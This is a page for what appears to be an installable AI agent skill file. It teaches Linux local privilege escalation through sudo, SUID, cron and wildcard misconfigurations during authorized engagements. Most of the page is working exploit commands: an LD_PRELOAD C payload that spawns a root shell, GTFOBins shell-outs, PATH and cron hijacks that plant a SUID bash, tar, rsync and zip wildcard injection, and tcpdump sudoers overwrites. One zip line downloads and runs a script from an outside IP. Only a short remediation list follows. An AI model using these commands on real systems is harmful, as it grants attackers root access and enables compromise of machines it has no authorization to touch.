exploiting-sudo-suid-and-cron-misconfigurations

$npx mdskill add xalgord/xalgorix/exploiting-sudo-suid-and-cron-misconfigurations

- During authorized local privilege escalation after obtaining an unprivileged shell - When `sudo -l` reveals NOPASSWD entries, SETENV, or preserved environment variables - When SUID/SGID binaries or root-owned writable scripts are present - When cron/systemd timers run scripts on writable paths or with an unsafe PATH - When a privileged script processes a wildcard (`*`) over an attacker-writable directory

SKILL.md

.github/skills/exploiting-sudo-suid-and-cron-misconfigurationsView on GitHub ↗
---
name: exploiting-sudo-suid-and-cron-misconfigurations
description: Local privilege escalation through sudo rule abuse (GTFOBins, SETENV/LD_PRELOAD/BASH_ENV/PYTHONPATH),
  SUID/SGID binaries, writable cron jobs and cron PATH hijacking, and wildcard (glob) argument injection against
  privileged tar/rsync/zip/chown/tcpdump invocations during authorized engagements.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- sudo
- suid
- cron
- privilege-escalation
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Sudo, SUID, and Cron Misconfigurations

## When to Use

- During authorized local privilege escalation after obtaining an unprivileged shell
- When `sudo -l` reveals NOPASSWD entries, SETENV, or preserved environment variables
- When SUID/SGID binaries or root-owned writable scripts are present
- When cron/systemd timers run scripts on writable paths or with an unsafe PATH
- When a privileged script processes a wildcard (`*`) over an attacker-writable directory

## Critical: Techniques Most Often Missed

Testers run `sudo -l`, see a binary they don't recognize, and stop. The escalation usually hides in environment handling, relative paths, and wildcard argument injection.

- **Wildcard / glob argument injection.** A privileged `tar/rsync/zip/chown/7z/tcpdump *` lets you plant filenames that begin with `-` and become flags.
  - How to CONFIRM: in the writable dir create `--checkpoint=1` and `--checkpoint-action=exec=sh shell.sh` (tar); after the root job runs, `shell.sh` executed as root (check your `/tmp/pwn` marker).
- **Preserved env vars in sudo.** `env_keep+=LD_PRELOAD`, `BASH_ENV`, `PYTHONPATH`, `LD_LIBRARY_PATH` all yield root code execution.
  - How to CONFIRM: `sudo -l` lists the kept var; e.g. `sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd>` spawns a root bash.
- **SUID/sudo binary calling a command without an absolute path.** Hijack via PATH or an exported bash function.
  - How to CONFIRM: `strings <suid>` shows a bare command name (e.g. `service`); after `export PATH=/tmp:$PATH` with a trojan, running it gives root.
- **Root-owned SUID wrapper that runs a writable script.** Append to the script, run the wrapper.
  - How to CONFIRM: `ls -l` shows the wrapped `.sh` is writable; appending `chmod +s /bin/bash` then running the wrapper leaves a SUID bash.
- **`less`/`vim`/`awk`/`find` via sudo (GTFOBins shell-out).** A "harmless" file-viewer sudo rule shells out.
  - How to CONFIRM: `sudo less /var/log/x` then `!sh`; or `sudo vim -c '!sh'` returns a root shell.
- **Cron PATH hijack / writable cron script.** A root cron with `PATH=/home/user:...` or a writable target.
  - How to CONFIRM: `pspy` shows the root cron calling a relative binary; planting it in the writable PATH dir runs as root on the next tick.

## Workflow

### Step 1: Enumerate sudo, SUID, and cron

```bash
sudo -l                                   # allowed commands + env_keep/SETENV
find / -perm -4000 -type f 2>/dev/null    # SUID binaries
find / -perm -2000 -type f 2>/dev/null    # SGID binaries
crontab -l ; ls -al /etc/cron* /etc/at*
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#'
cat -A /etc/crontab                       # reveal carriage-return stealth jobs
pspy64 -pf -i 1000                        # watch real argv of cron/systemd jobs
```

### Step 2: Abuse sudo Rules (GTFOBins + environment)

```bash
# Direct GTFOBins shell-outs from a sudo-allowed binary
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo less /var/log/x   ->  !sh            # or  :e /etc/shadow  to read files

# LD_PRELOAD (sudo -l shows env_keep+=LD_PRELOAD)
cat > /tmp/pe.c <<'EOF'
#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
EOF
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <ALLOWED_CMD>

# BASH_ENV (env_keep+=BASH_ENV) — sourced for non-interactive bash
echo '#!/bin/bash' > /dev/shm/x.sh; echo '/bin/bash' >> /dev/shm/x.sh; chmod +x /dev/shm/x.sh
BASH_ENV=/dev/shm/x.sh sudo /usr/bin/some_script

# PYTHONPATH hijack (SETENV: script.sh)
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh   # /dev/shm holds a malicious imported module
```

### Step 3: Abuse SUID Binaries

```bash
# SUID binary calls a bare command name -> PATH hijack
strings /usr/local/bin/suidbin | grep -E '/|service|cp|ls'
echo -e '#!/bin/bash\nchmod +s /bin/bash' > /tmp/service && chmod +x /tmp/service
export PATH=/tmp:$PATH && /usr/local/bin/suidbin && bash -p

# SUID binary calls an absolute command -> exported bash function
function /usr/sbin/service(){ cp /bin/bash /tmp/b; chmod +s /tmp/b; /tmp/b -p; }
export -f /usr/sbin/service && /usr/local/bin/suidbin

# SUID wrapper running a WRITABLE script
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap && /var/tmp/rootbash -p
```

### Step 4: Abuse Cron Jobs

```bash
# Writable cron script -> drop SUID bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/cron/script.sh
# wait for the next run, then:
/tmp/bash -p

# Cron PATH hijack: /etc/crontab has PATH=/home/user:... and runs "overwrite.sh"
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh   # wait for cron, then /tmp/bash -p
```

### Step 5: Wildcard (Glob) Argument Injection

```bash
# tar — checkpoint action (GNU tar). Root later runs: tar -czf backup.tgz *
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh; chmod +x shell.sh
touch ./--checkpoint=1
touch ./'--checkpoint-action=exec=sh shell.sh'

# rsync — override remote shell. Root later runs: rsync -az * backup:/srv/
touch ./'-e sh shell.sh'

# chown/chmod — copy ownership/perms of a secret via --reference
touch -- '--reference=/root/secret'

# 7z — @listfile leaks file contents even past "-- *"
ln -s /etc/shadow root.txt ; touch @root.txt          # 7za prints shadow to stderr

# zip — -T/-TT test hook RCE (split flags across filenames)
touch -- '-T' ; touch -- '-TT wget 10.10.14.17 -O s.sh; bash s.sh'

# tcpdump sudoers anti-pattern: extra -w/-Z/-z/-r/-V flags survive a constrained rule
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root -w /etc/sudoers.d/x \
  -r evil.pcap -F /var/cache/captures/filter.<guid>     # writes a root-owned sudoers line
# or post-rotate command execution:
sudo tcpdump -i any -G 1 -W 1 -z /tmp/rce.sh -w /tmp/x.pcap
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **sudo -l** | Lists commands a user may run via sudo and any preserved env / SETENV options |
| **GTFOBins shell-out** | Documented escape function of a sudo/SUID binary (vim, less, awk, find, tar...) |
| **env_keep / SETENV** | sudo options that preserve env vars (LD_PRELOAD, BASH_ENV, PYTHONPATH, PATH) -> RCE |
| **SUID/SGID** | Set-user/group-ID bit; the binary runs as its owner/group regardless of caller |
| **PATH hijack** | Shadowing a relative command run by a privileged process via a writable PATH dir |
| **Wildcard injection** | Shell expands `*` to filenames starting with `-`, smuggling flags into the binary |
| **Cron PATH** | A root cron with an attacker-writable directory early in its PATH |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **sudo -l** | Primary sudo policy enumeration |
| **GTFOBins** | Lookup of sudo/SUID/capability escape one-liners per binary |
| **linpeas / LinEnum** | Automated discovery of SUID, sudo, cron, and writable-path issues |
| **pspy** | Watches cron/systemd process argv without root (catches wildcard/PATH abuse live) |
| **wildpwn** | PoC tool for tar/rsync/chown wildcard argument injection |
| **gcc** | Compile LD_PRELOAD `.so` payloads |

## Common Scenarios

### Scenario 1: NOPASSWD vim
`sudo -l` shows `(root) NOPASSWD: /usr/bin/vim`. `sudo vim -c '!sh'` returns a root shell immediately.

### Scenario 2: env_keep LD_PRELOAD
A sudo rule keeps `LD_PRELOAD`. Compiling `pe.so` and running `sudo LD_PRELOAD=/tmp/pe.so <allowed cmd>` executes the library constructor as root.

### Scenario 3: Backup cron with tar wildcard
A root cron runs `tar -czf /backup.tgz *` in `/var/www/uploads`. Planting `--checkpoint-action` files there yields root code execution on the next run.

### Scenario 4: tcpdump sudoers anti-pattern
A NOPASSWD tcpdump rule constrains only the first `-w`. Adding `-Z root -w /etc/sudoers.d/x -r evil.pcap` writes a malicious sudoers entry as root.

## Output Format

```
## Privilege Escalation Finding

**Vulnerability**: Local Privilege Escalation via <sudo rule | SUID | cron | wildcard>
**Severity**: High / Critical
**Vector**: sudo env_keep+=LD_PRELOAD on /usr/bin/backup

### Discovery
$ sudo -l
  (root) NOPASSWD: /usr/bin/backup
  Defaults env_keep += LD_PRELOAD

### Exploitation
$ gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
$ sudo LD_PRELOAD=/tmp/pe.so /usr/bin/backup
# id
uid=0(root) gid=0(root)

### Impact
Any user matching the sudo rule obtains a full root shell.

### Recommendation
1. Set `Defaults env_reset`; remove LD_PRELOAD/BASH_ENV/PYTHONPATH from env_keep
2. Grant sudo to minimal absolute-path binaries; avoid shell-capable tools (vim, less, tar)
3. Quote wildcards and use `--` / explicit file lists in privileged scripts; never glob writable dirs
4. Make cron/SUID-wrapped scripts root-owned and non-writable; pin PATH with absolute paths
5. Audit SUID inventory (`find / -perm -4000`) and remove unnecessary bits
```

More from xalgord/xalgorix